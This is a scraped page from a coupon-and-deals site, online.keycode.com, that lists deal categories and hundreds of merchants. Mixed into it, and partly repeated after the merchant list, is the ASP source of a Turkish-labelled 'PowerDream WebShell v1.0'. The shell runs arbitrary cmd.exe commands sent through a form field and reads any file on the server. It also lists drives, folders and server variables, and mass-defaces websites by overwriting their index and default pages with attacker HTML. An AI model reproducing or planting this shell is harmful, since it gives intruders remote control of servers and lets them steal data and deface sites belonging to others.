online.keycode.com coupons, discounts and deals

<% 'Created by PowerDream
'WebShell '2007 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!: " & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>PowerDream Web Shell

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Deal Categories

Apparel - Kids & Teens

Cooking & Kitchenware

Dating & Networking

Department Stores

Diet Plans & Supplements

Education

Electronics & Appliances

Entertainment

Eyewear

Financial & Insurance

Housewares & Furniture

Internet Services

Jewelry & Accessories

Licensed Merchandise

Luggage & Accessories

Music & Movies

Office Supplies & Ink

All Merchants

123Inkjets.com	Fandango.com	Orvis.com
1800Contacts.com	Fannie May Candies	Overtons.com
1-800-FLOWERS.com	FAO Schwarz	Pacific Coast Feather Company
1-800-PetMeds	Fashion Bug	Pacific Sunwear
24 Hour Fitness	Figleaves.com	PacificPillows.com
39DollarGlasses.com	Finish Line	Packet8
3balls Golf	Fleurop.com (US)	Painting Estimates
4inkjets.com	Florsheim Shoes	Palm
6ave.com	FlowerStore.com	Paul Fredrick
6PM.com	FogDog.com	PC Connection
a pea in the pod	FoodSaver	PCMall.com
A&E/The History Channel	Foot Action	Peapod.com
AbeBooks	Foot Locker	Perfect Match
ABT Electronics	FootSmart	perfumeworldwide.com
Ace Hardware	Forzieri	Personal Creations
ACLens.com	Fossil	Peruvian Connection
Adam & Eve	Four Points	Pet Mountain
Adidas	Franklin Covey	PetCareRX.com
Adobe	Franklin Mint	PETCO.com
Aeropostale	Fredericks of Hollywood	PETsMART
Alaska Airlines	Freshpair.com	Pfaltzgraff Co.
Alibris	From You Flowers	Philips
ALLOY	FTD.com	Pingo
Altrec.com	Fuller Brush	Piperlime
American Blinds, Wallpaper & More	Fye	Portero
American Eagle Outfitters	Gaiam	Potpourri
Ann Taylor	Game Stop	Prescriptives
Ann Taylor LOFT	GameFly.com	Priceline.com
Anne Klein	Gap	Pro Board Shop
Apple Bottoms	Geico	Pro Golf
Apple Store	Genuardi's	ProFlowers
Aramark	Gevalia	Puma
Arden B	GiftBaskets.com	Puritan's Pride
Armani Exchange	GNC	Pyramid Collection
Artful Home (The Guild)	Go Card USA	Quicken
Ashford	Godiva	QVC
AT&T Wireless	GolfSmith.com	RadioShack
ATG Stores	Gourmet Gift Baskets	Ralph Lauren
Athleta	GreatSkin	Razor Gator
Auto Parts Warehouse	Griffin Technology	RedEnvelope.com
AutoAnything.com	Guess	Reebok
AutoBarn.com	Guitar Center	Register.com
Autos.com	H2O Plus	REI
Avenue	Half-Price Costumes	Relax the Back
Avon	Hammacher Schlemmer	Restaurant.com
Babies R Us	Hanes.com	RitzCamera.com
Baby Catalog	Harry & David	Road Runner Sports
Baby Phat	Hat World / Lids	Roamans
BabyAge.com	Hawaiian Airlines	Rochester Big and Tall
Banana Republic	Heartland America	Rockport
Bare Necessities	HerRoom	Roots
Barnes & Noble	Hickory Farms	Ross-Simons
Bass Pro Shops	Highlights Magazine	Rugman.com
Beall's Department Store	HobbyTron.com	RVCA
Beauty.com	Holiday Inn	S&SWorldwide.com
BeautyTrends.com	Holiday Inn Express	Safeway
Bebe	Home Decorators Collection Outlet	Sahalie
BedBathStore.com	Home Depot	Saks Fifth Avenue
Bedding Style	Home Shopping Network	Sally Beauty Supply
Bellacor.com	HomeDecorators.com	Sam's Club
Ben Sherman	Hooked On Phonics	Samsonite
Best Buy	Hot Topic	Sandals & Beaches Resorts
Betsey Johnson	Hotel Indigo	Sean John
Bidz.com	Hotels.com	Sears Portrait Studio
Big Dog Sportswear	Hotwire	Select Blinds
BikeBandit	HP Home Store	Sensational Beginnings
Blair.com	Hudson Reed	Sephora
Blinds.com	iAmplify	ServiceMagic
Blockbuster	ICE.com	Sharper Image
Bloomingdales	In The Swim	Sheraton Hotels & Resorts
Blue Nile	ING Direct	ShoeBuy.com
BlueFly.com	InterContinental Hotels & Resorts	ShoeMall.com
Boaters World	iRobot.com (Roomba)	Shoes.com
Boca Java Gourmet Coffee & Tea	Irvs Luggage	Sierra Trading Post
Boden (US)	IslandSurf.com	Silhouettes
BodyCandy.com	iTunes	SimpleTuition
BooksAMillion.com	iWin.com	Singer22
Boot Barn	J&R Electronics	SIRIUS Satellite Radio
BootBay.com	JC Penney	Sitter City
Borders	JCWhitney.com	Six Flags
Boscov's	Jessica London	Skechers
Botanic Choice	Jet Blue	SkyMall
Brooks Brothers	JewelryWeb.com	Skype
BrylaneHome.com	Jo-Ann	SmartBargains.com
Buckle	Jockey.com	Smith & Noble
Buy.com	Johnston & Murphy	Smooth Fitness
BuyCostumes.com	Jones New York	SnapFish.com
Cabelas.com	Jos. A. Bank	Soft Surroundings
CallowayGolfPreOwned.com	Journey's	Soft Surroundings Outlet
Calvin Klein Jeans	Junonia.com	Solutions
Calvin Klein Underwear	Just Because Baskets	Soma
Cambridge Sound Works	Just My Size	SonyStyle.com
Camping World	K Jordan	Southwest Airlines Vacations
Candle Bay	Kaplan Test Prep	SpaFinder
CandlesJustOnline.com	Karmaloop	SpaLook.com
Candlewood Suites	Kate Spade	Spiegel
Carolee	Kid Surplus	Spirit Halloween
Casual Male XL	Kiehl's Since 1851	SpreadShirt Designer.com
Catherines	King Size Direct	StacksandStacks.com
CCS	Knetgolf	Stacy Adams
Chadwick's	Kodak EasyShare Gallery	Staples
Champion Sports Apparel	Kodak Store	Starbucks Store
Change One Diet	Kohl's	Stauer
Charles Tyrwhitt (US)	L'Occitane (US)	Staybridge Suites
CheapTickets	Lamps Plus	Steve Madden
CHEFS	Lane Bryant.com	Stonewall Kitchen
Cherry Moon Farms	LavaLife	StubHub
Cheryl & Co.	LeapFrog	Sunglass Hut
Chico's	Lee	Sur La Table
Choice Hotels	LEGO Shop at Home	Swarovski Crystal
Christopher & Banks	Lens.com	Swell.com
CJ Banks	LensCrafters	SwissOutpost.com
Clinique	Lighting by Gregory	Symantec
Coastal Contacts	Lillian Vernon	Target
CoffeeForLess.com	Limited Too	TaxHawk
Coldwater Creek	Limoges Jewelry	Tech Depot
CompUSA	Linens 'N Things	Teleflora
Computer Geeks	Little Tikes	Text Books
Converse	Lord & Taylor	The Body Shop
Cooking.com	Lucky Brand Jeans	The Company Store
Cost Plus World Market	Luggage Online	The Container Store
Costume Craze	Lumber Liquidators	The Great Indoors
Costume SuperCenter	Mac Connection	The Home Marketplace
Country Inns & Suites	MacMall	The House
Course Advisor	Madison Avenue Mall	The Land of Nod
Crabtree & Evelyn	Magazines.com	The Limited
Crowne Plaza	Magellan's	The North Face
Crutchfield	Maidenform	The Popcorn Factory
Cutter & Buck	Marciano	The Scholastic Store
DayTimer.com	Marriott	The Sports Authority
Deep Discount	Masseys	The Walking Company
Delia's	Match.com	TheBabyOutlet
Dell Home Systems	Maternity Mall	Things Remembered
Delta Air Lines	Maurices	Thrifty Rent-A-Car
DermaDoctor.com	MaxStudio.com	TicketsNow
Design Within Reach	McAfee	TigerDirect
DesignerLinensOutlet.com	MCM Electronics	Tilly's
Destination Maternity	Meijer	Timberland
Diago Diamonds	Metrostyle	Tire Rack
Diamonds International	MexGrocer.com	TiVo
Diapers.com	Microsoft	T-Mobile
Dick's Sporting Goods	Mikasa	Tool King
Dickies	Miles Kimball	Torrid
DirecTV	Mimi Maternity	Toshiba
Discovery Channel Store	Mondera	Toys R Us
Disney Movie Club	Monroe & Main	TracFone
Disney Store	Monster.com	Tractor Supply Company
DJ Premium	MotherNature.com	Travelocity
Dockers	Mrs. Fields	True Religion
Dollar Rent A Car	MrsBeasleys.com	Turbo Tax
Domestications	Musician's Friend	Under Armour
Dr Jays	musicnotes.com	United Vacations
drugstore.com	Mwave.com	Urban Outfitters
Dunham's Sports	My Wines Direct	Vans
Eastbay	Napster.com	Vera Bradley
Eastern Mountain Sports	NASCAR Superstore	Verizon Wireless
EB Games	National Jean Company	VisionDirect.com
eBags.com	Naturalizer Shoes	Vital Savings Dental Program
eCampus.com	Nautica	Vitamin Shoppe
eCost.com	NBA Store	Vivre
Edamame Maternity Spa	NETFLIX	Vons
Eddie Bauer	New York & Company	Walgreen's
eDiets.com	Newegg	Wal-Mart
eFaucets	Newport News	Walter Drake
eHealthInsurance.com	Nickelodeon	Warner Bros. Online
Electronic Appraiser	Nicole Miller	Waterford
Electronics Expo	Nike	Webroot Software
Elf Cosmetics	Nine West	West Elm
Elizabeth Arden	Northern Tool	West Marine
Endless	Office Depot	Westin Hotels & Resorts
Enterprise Rent-A-Car	OfficeMax	Wet Seal
EntirelyPets.com	Old Navy	White House Black Market
Epson	Omaha Steaks	Williams-Sonoma Home
ESPN Shop	One Hanes Place	Wilson's Leather
ESPRIT	OneShare.com	Wine.com
eToys.com	OneStopPlus	Woman Within
Expedia	OnlineShoes	X10 Home Solutions
Express	Orbitz Travel	Zales Jewelry
EZ Lube	Oriental Trading Company	ZIRH
Famous Footwear	Origins

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Direktörler	Arsivler
<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & " " contador=contador+1 next%>	<%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & " " Next%>